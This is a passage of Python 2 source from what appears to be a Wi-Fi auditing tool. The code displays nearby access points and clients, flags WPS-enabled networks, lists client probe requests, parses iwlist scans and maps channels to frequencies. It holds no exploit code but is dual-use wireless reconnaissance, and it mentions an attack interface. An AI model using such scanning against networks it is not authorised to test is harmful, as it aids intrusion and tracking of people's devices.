                ToDisplay="1"
            if ToDisplay=="1" and __builtin__.NETWORK_FILTER!="ALL":
                if str(__builtin__.NETWORK_FILTER).find("*")!=-1:
                    RemoveWC=str(__builtin__.NETWORK_FILTER).replace("*","")
                    if ListInfo_Privacy[x].find(RemoveWC)!=-1:
                        ToDisplay="1"
                    else:
                        ToDisplay=""
                else:
                    if str(ListInfo_Privacy[x]).upper()==str(__builtin__.NETWORK_FILTER).upper()!=-1:
                        ToDisplay="1"
                    else:
                        ToDisplay=""
            if ToDisplay=="1" and __builtin__.NETWORK_CHANNEL_FILTER!="ALL":
                ToDisplay=""
                if ListInfo_Channel[x]==__builtin__.NETWORK_CHANNEL_FILTER:
                    ToDisplay="1"
            if ToDisplay=="1" and __builtin__.NETWORK_WPS_FILTER!="ALL":
                ToDisplay==""
                if __builtin__.NETWORK_WPS_FILTER=="Yes":
                    if ListInfo_WPS[x]=="Yes":
                        ToDisplay="1"
                    else:
                        ToDisplay=""
                if __builtin__.NETWORK_WPS_FILTER=="No":
                    if ListInfo_WPS[x]=="-":
                        ToDisplay="1"
                    else:
                        ToDisplay=""
            if ToDisplay=="1" and __builtin__.NETWORK_CLIENT_FILTER!="ALL":
                ToDisplay==""
                if __builtin__.NETWORK_CLIENT_FILTER=="Yes" and ListInfo_ConnectedClient[x]!="0":
                    ToDisplay="1"
 
                if __builtin__.NETWORK_CLIENT_FILTER=="No" and ListInfo_ConnectedClient[x]=="0":
                    ToDisplay="1"
 
            if ToDisplay=="1" and __builtin__.NETWORK_ESSID_FILTER!="":
                tmESSID=str(ListInfo_ESSID[x]).upper()
                tmESSID2=str(__builtin__.NETWORK_ESSID_FILTER).upper()
                if tmESSID.find(tmESSID2)!=-1:
                    ToDisplay="1"
                else:
                    ToDisplay=""
            if ToDisplay=="1" and __builtin__.NETWORK_BSSID_FILTER!="":
                tmBSSID=str(ListInfo_BSSID[x]).upper()
                tmBSSID2=str(__builtin__.NETWORK_BSSID_FILTER).upper()
                if tmBSSID.find(tmBSSID2)!=-1:
                    ToDisplay="1"
                else:
                    ToDisplay=""
            EnrichData="  "
            if ListInfo_Enriched[x]=="Yes":
                EnrichData=fcolor.BIRed + " *"
                DisplayEnriched=DisplayEnriched+1
            if __builtin__.NETWORK_VIEW=="1" or __builtin__.NETWORK_VIEW=="3":
                if __builtin__.HIDE_INACTIVE_SSID=="No":
                    InfoColor=fcolor.SGreen
                else:
                    InfoColor=fcolor.SWhite
            else:
                if __builtin__.HIDE_INACTIVE_SSID=="No" or __builtin__.HIDE_INACTIVE_STN=="No":
                    InfoColor=fcolor.SGreen
                else:
                    InfoColor=fcolor.SWhite
            DisplayCount += 1
            DontShowClient=0
            BSSIDColor=InfoColor
            ClientColor=InfoColor
            ESSIDColor=fcolor.SPink
            OUIColor=fcolor.SCyan
            APStd=str(ListInfo_APStandard[x])
            APStd=APStd.replace("802.11 ","")
            if int(ListInfo_ConnectedClient[x])>0:
                BSSIDColor=fcolor.BYellow
                ClientColor=fcolor.BGreen
                ESSIDColor=fcolor.BPink
                OUIColor=fcolor.BCyan
            DESSID=str(ListInfo_ESSID[x])
            if str(ListInfo_ESSID[x])=="":
                DESSID=fcolor.SBlack + "<<NO ESSID>>                     "
            else:
                DESSID=str(DESSID).ljust(33)
            if int(__builtin__.ListInfo_SSIDTimeGap[x]) < int(__builtin__.HIDE_AFTER_MIN) and ToDisplay=="1":
                Cipher=ListInfo_Cipher[x]
                if Cipher=="CCMP WRAP TKIP":
                    Cipher="C/T/WRAP"
                if Cipher=="CCMP WEP104":
                    Cipher="CCMP/WEP104"
                if Cipher=="CCMP TKIP WEP104":
                    Cipher="C/T/WEP104"
                if ListInfo_Auth[x]=="MGTPSK":
                    ListInfo_Auth[x]="MGT/PSK"
                if str(ListInfo_WPSLock[x])=="(null)":
                    ListInfo_WPSLock[x]="Null"
                print  BSSIDColor + HighlightMonitoringMAC(str(ListInfo_BSSID[x])) + "  " + ClientColor + str(ListInfo_ConnectedClient[x]).ljust(5) + InfoColor + str(CPrivacy) + str(ListInfo_Privacy[x]).ljust(6) + InfoColor + str(Cipher).ljust(12) + str(ListInfo_Auth[x]).ljust(10) + str(ListInfo_Channel[x]).ljust(5) + str(ListInfo_BestQuality[x]).ljust(7) + str(ListInfo_QualityRange[x]) + InfoColor + "\t " + fcolor.SBlue + str(APStd).ljust(6) + InfoColor + str(ListInfo_WPS[x]).ljust(5)  + str(ListInfo_WPSVer[x]).ljust(5) + str(ListInfo_WPSLock[x]).ljust(5) + str(EnrichData) + ESSIDColor + str(DESSID) + OUIColor + str(ListInfo_BSSID_OUI[x]) 
            else:
                if __builtin__.HIDE_INACTIVE_SSID=="Yes":
                    DontShowClient=1
                    DisplayNotShownSSID=DisplayNotShownSSID+1
                elif ToDisplay=="1":
                    if ListInfo_Enriched[x]=="Yes":
                        EnrichData=fcolor.SBlack + " *"
                    print  fcolor.BIGray + str(ListInfo_BSSID[x]).ljust(19) + str(ListInfo_ConnectedClient[x]).ljust(5) + RemoveColor(str(CPrivacy)) + RemoveColor(str(ListInfo_Privacy[x])).ljust(6) + str(ListInfo_Cipher[x]).ljust(12) + str(ListInfo_Auth[x]).ljust(10) + str(ListInfo_Channel[x]).ljust(5) + str(ListInfo_BestQuality[x]).ljust(7) + RemoveColor(str(ListInfo_QualityRange[x])) + "\t " + str(APStd).ljust(6) + str(ListInfo_WPS[x]).ljust(5)  + str(ListInfo_WPSVer[x]).ljust(5) + str(ListInfo_WPSLock[x]).ljust(5) +  str(EnrichData) + str(DESSID) + str(ListInfo_BSSID_OUI[x])
                    print  fcolor.BIGray + "\t\t\tFirst Seen : " + fcolor.SBlack + ListInfo_FirstSeen[x].ljust(24) + fcolor.BIGray + "\tLast Seen : " + fcolor.SBlack + ListInfo_LastSeen[x] + fcolor.BIGray + "\t[ " + str(ListInfo_SSIDTimeGap[x]) + " min ago ]"
            if __builtin__.NETWORK_VIEW=="4" or __builtin__.NETWORK_VIEW=="5":
                if DontShowClient!=1:
                    cln=0
                    ClientCt=0
                    ToDisplayClient="1"
                    while cln < len(ListInfo_STATION):
                        if ListInfo_CBSSID[cln].find("Not Associated")!=-1:
                            UNASSOC=1
                        if ListInfo_BSSID[x]==ListInfo_CBSSID[cln]:
                            ToDisplayClient="1"
                            if ToDisplayClient=="1" and __builtin__.NETWORK_PROBE_FILTER!="ALL":
                                ToDisplayClient=""
                                if __builtin__.NETWORK_PROBE_FILTER=="Yes":
                                    if len(ListInfo_PROBE[cln])>0:
                                        ToDisplayClient="1"
                                elif __builtin__.NETWORK_PROBE_FILTER=="No":
                                    if len(ListInfo_PROBE[cln])==0:
                                        ToDisplayClient="1"
                            if ToDisplayClient=="1" and __builtin__.NETWORK_ASSOCIATED_FILTER!="ALL":
                                ToDisplayClient=""
                                if __builtin__.NETWORK_ASSOCIATED_FILTER=="Yes":
                                    if ListInfo_CBSSID[cln].find("not associated")==-1:
                                        ToDisplayClient="1"
                                if __builtin__.NETWORK_ASSOCIATED_FILTER=="No":
                                    if ListInfo_CBSSID[cln].find("Not Associated")!=-1:
                                        ToDisplayClient="1"
                            if ToDisplayClient=="1" and __builtin__.NETWORK_UNASSOCIATED_FILTER!="ALL":
                                ToDisplayClient=""
                                if __builtin__.NETWORK_UNASSOCIATED_FILTER=="Yes":
                                    if ListInfo_CBSSID[cln].find("Not Associated")!=-1:
                                        ToDisplayClient="1"
                                if __builtin__.NETWORK_UNASSOCIATED_FILTER=="No":
                                    if ListInfo_CBSSID[cln].find("Not Associated")==-1:
                                        ToDisplayClient="1"
                            if  ToDisplayClient=="1" and __builtin__.NETWORK_CSIGNAL_FILTER!="ALL":
                                ToDisplayClient=""    
                                if ListInfo_CQualityRange[cln].find(__builtin__.NETWORK_CSIGNAL_FILTER)!=-1:
                                    ToDisplayClient="1"
                            if ToDisplayClient=="1":
                                Std11=ListInfo_STNStandard[cln]
                                Std11=Std11.replace("802.11 ","11")
                                MACCOLOR=fcolor.SGreen
                                SELFMAC=""
                                DLastSeen=""
                                if __builtin__.ListInfo_CTimeGap[cln]!="0":
                                    DLastSeen =fcolor.SBlack + " (Seen : " + str(__builtin__.ListInfo_CTimeGap[cln]) + " min ago)"
                                __builtin__.ListInfo_AssociatedCount += 1
                                if ListInfo_STATION[cln]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_STATION[cln]==__builtin__.SELECTED_MON_MAC or ListInfo_STATION[cln]==__builtin__.SELECTED_IFACE_MAC:
                                    MACCOLOR=fcolor.BPink
                                    SELFMAC=fcolor.BWhite + " [ " + fcolor.BPink + "Your Interface MAC" + fcolor.BWhite + " ]"
                                if int(__builtin__.ListInfo_CTimeGap[cln]) < int(__builtin__.HIDE_AFTER_MIN):
                                    DisplayClientCount=DisplayClientCount+1
                                    ClientCt=ClientCt+1
                                     
                                    print fcolor.SWhite + "   [" + fcolor.SGreen + str(ClientCt) + fcolor.SWhite + "]" + fcolor.BWhite + "\t  Client   :  - " + MACCOLOR + HighlightMonitoringMAC(str(ListInfo_STATION[cln])) + " " + fcolor.SBlue + str(Std11).ljust(15) + fcolor.SGreen + str(ListInfo_CBestQuality[cln]).ljust(7) + str(ListInfo_CQualityRange[cln]) + fcolor.CDim + fcolor.SGreen + "\t " + str(ListInfo_CLastSeen[cln]) + fcolor.CDim + fcolor.Cyan + "\t" + str(ListInfo_COUI[cln]) + str(DLastSeen) + str(SELFMAC)
                                else:
                                    if __builtin__.HIDE_INACTIVE_STN!="Yes":
                                        DisplayClientCount=DisplayClientCount+1
                                        ClientCt=ClientCt+1
                                        print fcolor.SBlack + "   [" + str(ClientCt) + "]" + "\t  Client   :  - " + HighlightMonitoringMAC(str(ListInfo_STATION[cln])) + " " + str(Std11).ljust(15)  + str(ListInfo_CBestQuality[cln]).ljust(7) + RemoveColor(str(ListInfo_CQualityRange[cln])) + "\t " + str(ListInfo_CLastSeen[cln]) + "\t" + str(ListInfo_COUI[cln]) + str(DLastSeen) + str(SELFMAC)
                                if ListInfo_PROBE[cln]!="" and __builtin__.NETWORK_VIEW!="5":
                                        if int(__builtin__.ListInfo_CTimeGap[cln]) < int(__builtin__.HIDE_AFTER_MIN):
                                                print fcolor.SWhite + "          Probe    :  - " + fcolor.SBlue + str(ListInfo_PROBE[cln])
                                        else:
                                            if __builtin__.HIDE_INACTIVE_STN!="Yes":
                                                print fcolor.SBlack + "          Probe    :  - " + fcolor.SBlack + str(ListInfo_PROBE[cln])
                        cln = cln + 1
            else:
                DisplayNotShownSSID += 1
            x=x+1
        DisplayUnassociated=0
        if __builtin__.NETWORK_VIEW=="4" or __builtin__.NETWORK_VIEW=="5":
            if UNASSOC==1 and ToDisplayClient=="1":
                if __builtin__.NETWORK_UNASSOCIATED_FILTER=="Yes" or __builtin__.NETWORK_UNASSOCIATED_FILTER=="ALL": 
                    cln=0
                    print ""
                    CenterText(fcolor.SBlack + fcolor.BGIGreen,"< < << UNASSOCIATED STATIONS [Last seen within " + str(HIDE_AFTER_MIN) + " mins]   >> > >    ")
                    print fcolor.SYellow
                    while cln < len(ListInfo_STATION):
                        if ListInfo_CBSSID[cln].find("Not Associated")!=-1:
                            ToDisplay="1"
                            if __builtin__.NETWORK_UPROBE_FILTER!="ALL":
                                ToDisplay=""
                                if __builtin__.NETWORK_UPROBE_FILTER=="Yes" and ListInfo_PROBE[cln]!="":
                                    ToDisplay="1"
                                if __builtin__.NETWORK_UPROBE_FILTER=="No" and ListInfo_PROBE[cln]=="":
                                    ToDisplay="1"
                            if ToDisplay=="1" and __builtin__.NETWORK_UCSIGNAL_FILTER!="ALL":
                                ToDisplay=""
                                SRange=RemoveColor(str(ListInfo_CQualityRange[cln]))
                                if __builtin__.NETWORK_UCSIGNAL_FILTER==str(SRange):
                                    ToDisplay="1"
                            if ToDisplay=="1":
                                if int(__builtin__.ListInfo_CTimeGap[cln]) < int(__builtin__.HIDE_AFTER_MIN):
                                    MACCOLOR=fcolor.SGreen
                                    SELFMAC=""
                                    if ListInfo_STATION[cln]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_STATION[cln]==__builtin__.SELECTED_MON_MAC or ListInfo_STATION[cln]==__builtin__.SELECTED_IFACE_MAC or ListInfo_STATION[cln]==__builtin__.SELECTED_ATK_MAC:
                                        MACCOLOR=fcolor.BPink
                                        SELFMAC=fcolor.BWhite + " [ " + fcolor.BPink + "Your Interface MAC" + fcolor.BWhite + " ]"
                                    DisplayUnassociated += 1
                                    print MACCOLOR + HighlightMonitoringMAC(str(ListInfo_STATION[cln])) + "       " + fcolor.SGreen + str(ListInfo_CBestQuality[cln]).ljust(7) + str(ListInfo_CQualityRange[cln]) + fcolor.SGreen + "\t " + str(ListInfo_CFirstSeen[cln]) + "\t" + str(ListInfo_CLastSeen[cln]) + "   " + str(ListInfo_CTimeGapFull[cln]) + "\t" + str(ListInfo_COUI[cln]) + SELFMAC
                                    if ListInfo_PROBE[cln]!="" and __builtin__.NETWORK_VIEW=="4":
                                        print fcolor.SWhite + "Probe  : " + fcolor.BBlue + str(ListInfo_PROBE[cln])
                                else:
                                    DisplayNotShownClient=DisplayNotShownClient+1
                            else:
                                DisplayNotShownClient=DisplayNotShownClient+1
                        cln=cln+1 
                if DisplayUnassociated==0:
                    if __builtin__.DisplayUnassocFilter!="":
                        print fcolor.BWhite + "No matched unassociated station found !!"
                    else:
                        if __builtin__.NETWORK_UNASSOCIATED_FILTER!="No":
                            print fcolor.BRed + "No unassociated station found !!"
                if __builtin__.DisplayUnassocFilter!="":
                    print ""
                    print fcolor.BGreen + "Filter       : " + str(__builtin__.DisplayUnassocFilter)
            DrawLine("_",fcolor.CReset + fcolor.Black,"","")
        if __builtin__.NETWORK_VIEW=="4" or __builtin__.NETWORK_VIEW=="5":
            CenterText(fcolor.BGBlue + fcolor.BWhite,"< < <<  SUMMARY  LISTING  >> > >      ")
            print fcolor.SYellow
        LblColor=fcolor.SYellow
        SummaryColor=fcolor.BGreen
        if __builtin__.NETWORK_VIEW=="1" or __builtin__.NETWORK_VIEW=="3":
             LineBreak()
        if __builtin__.DisplayNetworkFilter!="":
            print fcolor.BGreen + "Filter       : " + str(__builtin__.DisplayNetworkFilter)
        DTotalSSID=SummaryColor + str(len(ListInfo_BSSID)) + LblColor + " (" + SummaryColor + str(__builtin__.ListInfo_WPSCount) + " WPS" + LblColor + ")"
        DTotalSSID=str(DTotalSSID).ljust(49)
        DUpdated=SummaryColor + str(__builtin__.ListInfo_Exist) + LblColor + " (" + SummaryColor + str(__builtin__.ListInfo_WPSExist) + " WPS" + LblColor + ")"
        DUpdated=str(DUpdated).ljust(49)
        DAdded=SummaryColor + str(__builtin__.ListInfo_Add) + LblColor + " (" + SummaryColor + str(__builtin__.ListInfo_WPSAdd) + " WPS" + LblColor + ")"
        DAdded=str(DAdded).ljust(49)
        print LblColor + "SSID Total   : " + str(DTotalSSID) + "Updated      : " + str(DUpdated) + "Added : " + str(DAdded) + "Listed : " + SummaryColor + str(DisplayCount).ljust(11) + LblColor + "Not Shown : " + SummaryColor + str(DisplayNotShownSSID).ljust(11) + LblColor + "Enriched : " + SummaryColor + str(DisplayEnriched)
        print LblColor + "WPA/WPA2     : " + SummaryColor + str(WPACount).ljust(17) + LblColor + "WEP          : " + SummaryColor + str(WEPCount).ljust(17) + LblColor + "Open  : " + SummaryColor + str(OPNCount).ljust(17) + LblColor + "Others : " + SummaryColor + str(OTHCount).ljust(11) + LblColor + "Removed   : " + SummaryColor + str(ListInfo_BRemoved) 
        if __builtin__.NETWORK_VIEW=="4" or __builtin__.NETWORK_VIEW=="5":
            if __builtin__.DisplayClientFilter!="":
                print fcolor.BGreen + "Filter       : " + str(__builtin__.DisplayClientFilter)
            print LblColor + "Station Total: " + SummaryColor + str(len(ListInfo_STATION)).ljust(17) + LblColor + "Updated      : " + SummaryColor + str(__builtin__.ListInfo_CExist).ljust(17) + LblColor + "Added : " + SummaryColor + str(__builtin__.ListInfo_CAdd).ljust(17) + LblColor + "Listed : " + SummaryColor + str(DisplayClientCount).ljust(11) + LblColor + "Not Shown : " +  SummaryColor + str(DisplayNotShownClient)
            print LblColor + "Connected    : " + SummaryColor + str(__builtin__.ListInfo_AssociatedCount).ljust(17) + LblColor + "Unassociated : " + SummaryColor + str(__builtin__.ListInfo_UnassociatedCount).ljust(17) + LblColor + "Probe : " + SummaryColor + str(__builtin__.ListInfo_ProbeCount).ljust(37) + LblColor + "Removed   : " + SummaryColor + str(ListInfo_CRemoved) 
        print ""
                 

def DisplayPanel():
    os.system('clear')
    os.system('clear')
    ShowBanner()
    ShowSYWorks()
    print "\n\n" + fcolor.BGreen + apptitle + " " +  fcolor.SGreen + appDesc + fcolor.SGreen + ", By SYChua"
    LineBreak()
    return

def FindMACIndex(MACAddr,ListToFind):
    MACIndex=-1
    MACLoc=str(ListToFind).find(str(MACAddr))
    if MACLoc!=-1:
        MACIndex=int(MACLoc) -2
        MACIndex=MACIndex/21
        if ListToFind[MACIndex]!=MACAddr:
            MACIndex=-1
    return MACIndex

def RewriteIWList():
    if IsFileDirExist(__builtin__.TMP_IWList_DUMP)=="F" and __builtin__.FIXCHANNEL==0:
        open(__builtin__.IWList_DUMP,"w").write("")
        with open(__builtin__.TMP_IWList_DUMP,"r") as f:
            for line in f:
                line=line.replace("      Cell ","\n      Cell ").replace("\n\n","\n").replace("\00","").lstrip().rstrip()
                open(__builtin__.IWList_DUMP,"a+b").write(line + "\n")

def EnrichSSID():
    if __builtin__.FIXCHANNEL==0:
        RewriteIWList()
    if IsFileDirExist(__builtin__.TMP_IWList_DUMP)=="F" and __builtin__.FIXCHANNEL==0:
        open(__builtin__.TMP_IWList_DUMP,"a+b").write("Cell XX - Address: XX:XX:XX:XX:XX:XX")
        BSSID="";ESSID="";Freq="";Channel="";Quality="";Signal="";PairwiseCipher="";GroupCipher="";AuthSuite="";WPAVer="";EncKey="";WMode="";BitRate="";
        with open(__builtin__.TMP_IWList_DUMP,"r") as f:
            FoundStage="0"
            for line in f:
                line=line.replace("\n","").replace("\00","").lstrip().rstrip()
                if len(line)>1:
                    if str(line).find("Cell ")!=-1 and str(line).find("Address:")!=-1:
                        if FoundStage=="0":
                            FoundStage="1"
                            FLoc=str(line).find("Address:")
                            BSSID=str(line)[FLoc:].replace("Address:","").lstrip().rstrip()
                        else:
                            if BitRate!="" and BitRate[-3:]==" | ":
                                BitRate=BitRate[:-3]
                            if str(ListInfo_BSSID).find(str(BSSID))!=-1:
                                y=FindMACIndex(BSSID,ListInfo_BSSID)
                                __builtin__.ListInfo_Enriched[y]="Yes"
                                if Freq!="":
                                    __builtin__.ListInfo_Freq[y]=str(Freq)
                                if ESSID!="" and IsAscii(ESSID)==True and str(ESSID).find("\\x")==-1:
                                    if __builtin__.ListInfo_ESSID[y]!=str(ESSID):
                                        __builtin__.ListInfo_ESSID[y]=str(ESSID)
                                if Channel!="":
                                    __builtin__.ListInfo_Channel[y]=str(Channel)
                                if Quality!="":
                                    __builtin__.ListInfo_Quality[y]=str(Quality)
                                if Signal!="":
                                    __builtin__.ListInfo_Signal[y]=str(Signal)
                                    __builtin__.ListInfo_BestQuality[y]=str(Signal)
                                if BitRate!="":
                                    __builtin__.ListInfo_BitRate[y]=str(BitRate)
                                if LastBeacon!="":
                                    __builtin__.ListInfo_LastBeacon[y]=str(LastBeacon)
                                if PairwiseCipher!="":
                                    __builtin__.ListInfo_PairwiseCipher[y]=str(PairwiseCipher)
                                if GroupCipher!="":
                                    __builtin__.ListInfo_GroupCipher[y]=str(GroupCipher)
                                if AuthSuite!="":
                                    __builtin__.ListInfo_AuthSuite[y]=str(AuthSuite)
                                    if __builtin__.ListInfo_Auth[y]=="-" and len(AuthSuite)<5:
                                        __builtin__.ListInfo_Auth[y]=str(AuthSuite)
                                if WMode!="":
                                    __builtin__.ListInfo_Mode[y]=str(WMode)
                                if WPAVer!="":
                                    __builtin__.ListInfo_WPAVer[y]=str(WPAVer)
                                if EncKey!="":
                                    __builtin__.ListInfo_EncKey[y]=str(EncKey)
                                if WPAVer!="":
                                    if __builtin__.ListInfo_Privacy[y]=="" or __builtin__.ListInfo_Privacy[y]=="None":
                                       if str(WPAVer).find("WPA2")!=-1:
                                           __builtin__.ListInfo_Privacy[y]="WPA2"
                                       elif str(WPAVer).find("WPA ")!=-1:
                                           __builtin__.ListInfo_Privacy[y]="WPA"
                                if PairwiseCipher!="" and __builtin__.ListInfo_Cipher[y]=="-":
                                    __builtin__.ListInfo_Cipher[y]=PairwiseCipher
                            BSSID="";ESSID="";Freq="";Channel="";Quality="";Signal="";PairwiseCipher="";GroupCipher="";AuthSuite="";WPAVer="";EncKey="";WMode="";BitRate="";
                            FoundStage="1"
                            FLoc=str(line).find("Address:")
                            BSSID=str(line)[FLoc:].replace("Address:","").lstrip().rstrip()
                    if str(line).find("Frequency:")!=-1 and str(line).find("GHz")!=-1:
                        FLoc=str(line).find("Frequency:")
                        FLoc2=str(line).find("GHz")
                        Freq=str(line)[FLoc:-FLoc2].replace("Frequency:","").lstrip().rstrip()
                    if str(line).find("Channel ")!=-1 and str(line).find(")")!=-1:
                        line=line.replace("(","").replace(")","")
                        FLoc=str(line).find("Channel ")
                        Channel=str(line)[FLoc:].replace("Channel","").lstrip().rstrip()
                    if str(line).find("ESSID:\x22")!=-1 and str(line).find("ESSID:\x22\x22")==-1:
                        line=line.replace("ESSID:\x22","")
                        ESSID=str(line)[:-1]
                    if str(line).find("Quality=")!=-1 and str(line).find(" ")!=-1:
                        FLoc=str(line).find("Quality=")
                        FLoc2=str(line).find(" ")
                        FLoc2=len(line)-int(FLoc2)
                        Quality=str(line)[FLoc:-FLoc2].replace("Quality=","").lstrip().rstrip()
                    if str(line).find("Signal level=")!=-1:
                        FLoc=str(line).find("Signal level=")
                        Signal=str(line)[FLoc:].replace("Signal level=","").replace("dBm","").lstrip().rstrip()
                    if str(line).find("Mb/s")!=-1:
                        line=line.replace(";", " |").replace("Bit Rates:","")
                        BitRate=BitRate + str(line).lstrip().rstrip() + " | "
                    if str(line).find("Extra:")!=-1 or str(line).find("IE: ")!=-1:
                        if FoundStage=="1":
                            FoundStage="2"
                    if str(line).find("Last beacon: ")!=-1:
                        FLoc=str(line).find("Last beacon: ")
                        FLoc2=str(line).find("ago")
                        FLoc2=len(line)-int(FLoc2)
                        LastBeacon=str(line)[FLoc:-FLoc2].replace("Last beacon: ","").lstrip().rstrip()
                    if str(line).find("Pairwise Ciphers ")!=-1:
                        FLoc=str(line).find("Pairwise Ciphers ")
                        line=line[FLoc:]
                        FLoc=str(line).find(" : ")
                        if FLoc!=-1:
                            FLoc=FLoc+3
                            line=line[FLoc:]
                            PairwiseCipher=line.replace(" ","/")
                    if str(line).find("Group Cipher : ")!=-1:
                        FLoc=str(line).find("Group Cipher : ")
                        line=line[FLoc:]
                        FLoc=str(line).find(" : ")
                        if FLoc!=-1:
                            FLoc=FLoc+3
                            line=line[FLoc:]
                            GroupCipher=line.replace(" ","/")
                    if str(line).find("Authentication Suites")!=-1:
                        FLoc=str(line).find("Authentication Suites")
                        line=line[FLoc:]
                        FLoc=str(line).find(" : ")
                        if FLoc!=-1:
                            FLoc=FLoc+3
                            line=line[FLoc:]
                            AuthSuite=line
                    if str(line).find("WPA Version")!=-1:
                        FLoc=str(line).find("WPA Version")
                        line=line[FLoc:]
                        WPAVer=line
                    if str(line).find("WPA2 Version")!=-1:
                        FLoc=str(line).find("WPA2 Version")
                        line=line[FLoc:]
                        WPAVer=line
                    if str(line).find("Encryption key:")!=-1:
                        FLoc=str(line).find("Encryption key:")
                        line=line[FLoc:]
                        EncKey=line.replace("Encryption key:","")
                    if str(line).find("Mode:")!=-1:
                        FLoc=str(line).find("Mode:")
                        line=line[FLoc:]
                        WMode=line.replace("Mode:","")

def GetFrequency(sChannel):
    Freq=""
    if sChannel!="":
        if sChannel=='1':
            Freq = '2.412'
        if sChannel=='2':
            Freq = '2.417'
        if sChannel=='3':
            Freq = '2.422'
        if sChannel=='4':
            Freq = '2.427'
        if sChannel=='5':
            Freq = '2.432'
        if sChannel=='6':
            Freq = '2.437'
        if sChannel=='7':
            Freq = '2.442'
        if sChannel=='8':
            Freq = '2.447'
        if sChannel=='9':
            Freq = '2.452'
        if sChannel=='10':
            Freq = '2.457'
        if sChannel=='11':
            Freq = '2.462'
        if sChannel=='12':
            Freq = '2.467'
        if sChannel=='13':
            Freq = '2.472'
        if sChannel=='14':
            Freq = '2.484'
        if sChannel=='131':
            Freq = '3.6575'
        if sChannel=='132':
            Freq = '3.6625'
        if sChannel=='133':
            Freq = '3.6675'
        if sChannel=='134':
            Freq = '3.6725'
        if sChannel=='135':
            Freq = '3.6775'
        if sChannel=='136':
            Freq = '3.6825'
        if sChannel=='137':
            Freq = '3.6875'
        if sChannel=='138':
            Freq = '3.6925'
        if sChannel=='183':
            Freq = '4.915'
        if sChannel=='184':
            Freq = '4.920'
        if sChannel=='185':
            Freq = '4.925'
        if sChannel=='186':
            Freq = '4.930'
        if sChannel=='187':
            Freq = '4.935'
        if sChannel=='188':
            Freq = '4.940'
        if sChannel=='189':
            Freq = '4.945'
        if sChannel=='192':
            Freq = '4.960'
        if sChannel=='196':
            Freq = '4.980'
        if sChannel=='16':
            Freq = '5.080'
        if sChannel=='34':
            Freq = '5.170'
        if sChannel=='36':
            Freq = '5.180'
        if sChannel=='38':
            Freq = '5.190'
        if sChannel=='40':
            Freq = '5.200'
        if sChannel=='42':
            Freq = '5.210'
        if sChannel=='44':
            Freq = '5.220'
        if sChannel=='46':
            Freq = '5.230'
        if sChannel=='48':
            Freq = '5.240'
        if sChannel=='52':
            Freq = '5.260'
        if sChannel=='56':
            Freq = '5.280'
        if sChannel=='60':
            Freq = '5.300'
        if sChannel=='64':
            Freq = '5.320'
        if sChannel=='100':
            Freq = '5.500'
        if sChannel=='104':
            Freq = '5.520'
        if sChannel=='108':
            Freq = '5.540'
        if sChannel=='112':
            Freq = '5.560'
        if sChannel=='116':
            Freq = '5.580'
        if sChannel=='120':
            Freq = '5.600'
        if sChannel=='124':
            Freq = '5.620'
        if sChannel=='128':
            Freq = '5.640'
        if sChannel=='132':
            Freq = '5.660'
        if sChannel=='136':
            Freq = '5.680'
        if sChannel=='140':
            Freq = '5.700'
        if sChannel=='149':
            Freq = '5.745'
        if sChannel=='153':
            Freq = '5.765'
        if sChannel=='154':
            Freq = '5.770'
        if sChannel=='155':
            Freq = '5.775'
        if sChannel=='156':
            Freq = '5.780'
        if sChannel=='157':
            Freq = '5.785'
        if sChannel=='158':
            Freq = '5.790'
        if sChannel=='159':
            Freq = '5.795'
        if sChannel=='160':
            Freq = '5.800'
        if sChannel=='161':
            Freq = '5.805'
        if sChannel=='162':
            Freq = '5.810'
        if sChannel=='163':
            Freq = '5.815'
        if sChannel=='164':
            Freq = '5.820'
        if sChannel=='165':
            Freq = '5.825'
    return Freq;

def GetChannel(sFreq):
    Channel=""
    sFreq=str(sFreq).replace(".","")
    if sFreq!="":
        if sFreq=='2412':
            Channel='1'
        if sFreq=='2417':
            Channel='2'
        if sFreq=='2422':
            Channel='3'
        if sFreq=='2427':
            Channel='4'
        if sFreq=='2432':
            Channel='5'
        if sFreq=='2437':
            Channel='6'
        if sFreq=='2442':
            Channel='7'
        if sFreq=='2447':
            Channel='8'
        if sFreq=='2452':
            Channel='9'
        if sFreq=='2457':
            Channel='10'
        if sFreq=='2462':
            Channel='11'
        if sFreq=='2467':
            Channel='12'
        if sFreq=='2472':
            Channel='13'
        if sFreq=='2484':
            Channel='14'
        if sFreq=='36575':
            Channel='131'
        if sFreq=='36625':
            Channel='132'
        if sFreq=='36675':
            Channel='133'
        if sFreq=='36725':
            Channel='134'
        if sFreq=='36775':
            Channel='135'
        if sFreq=='36825':
            Channel='136'
        if sFreq=='36875':
            Channel='137'
        if sFreq=='36925':
            Channel='138'
        if sFreq=='4915':
            Channel='183'
        if sFreq=='4920':
            Channel='184'
        if sFreq=='4925':
            Channel='185'
        if sFreq=='4930':
            Channel='186'
        if sFreq=='4935':
            Channel='187'
        if sFreq=='4940':
            Channel='188'
        if sFreq=='4945':
            Channel='189'
        if sFreq=='4960':
            Channel='192'
        if sFreq=='4980':
            Channel='196'
        if sFreq=='5080':
            Channel='16'
        if sFreq=='5170':
            Channel='34'
        if sFreq=='5180':
            Channel='36'
        if sFreq=='5190':
            Channel='38'
        if sFreq=='5200':
            Channel='40'
        if sFreq=='5210':
            Channel='42'
        if sFreq=='5210':
            Channel='42'
        if sFreq=='5220':
            Channel='44'
        if sFreq=='5230':
            Channel='46'
        if sFreq=='5240':
            Channel='48'
        if sFreq=='5250':
            Channel='50'
        if sFreq=='5260':
            Channel='52'
        if sFreq=='5270':
            Channel='54'
        if sFreq=='5280':
            Channel='56'
        if sFreq=='5290':
            Channel='58'
        if sFreq=='5300':
            Channel='60'
        if sFreq=='5320':
            Channel='64'
        if sFreq=='5500':
            Channel='100'
        if sFreq=='5520':
            Channel='104'
        if sFreq=='5540':
            Channel='108'
        if sFreq=='5560':
            Channel='112'
        if sFreq=='5580':
            Channel='116'
        if sFreq=='5600':
            Channel='120'
        if sFreq=='5620':
            Channel='124'
        if sFreq=='5640':
            Channel='128'
        if sFreq=='5660':
            Channel='132'
        if sFreq=='5680':
            Channel='136'
        if sFreq=='5700':
            Channel='140'
        if sFreq=='5745':
            Channel='149'
        if sFreq=='5765':
            Channel='153'
        if sFreq=='5770':
            Channel='154'
        if sFreq=='5775':
            Channel='155'
        if sFreq=='5780':
            Channel='156'
        if sFreq=='5785':
            Channel='157'
        if sFreq=='5790':
            Channel='158'
        if sFreq=='5795':
            Channel='159'
        if sFreq=='5800':
            Channel='160'
        if sFreq=='5805':
            Channel='161'
        if sFreq=='5810':
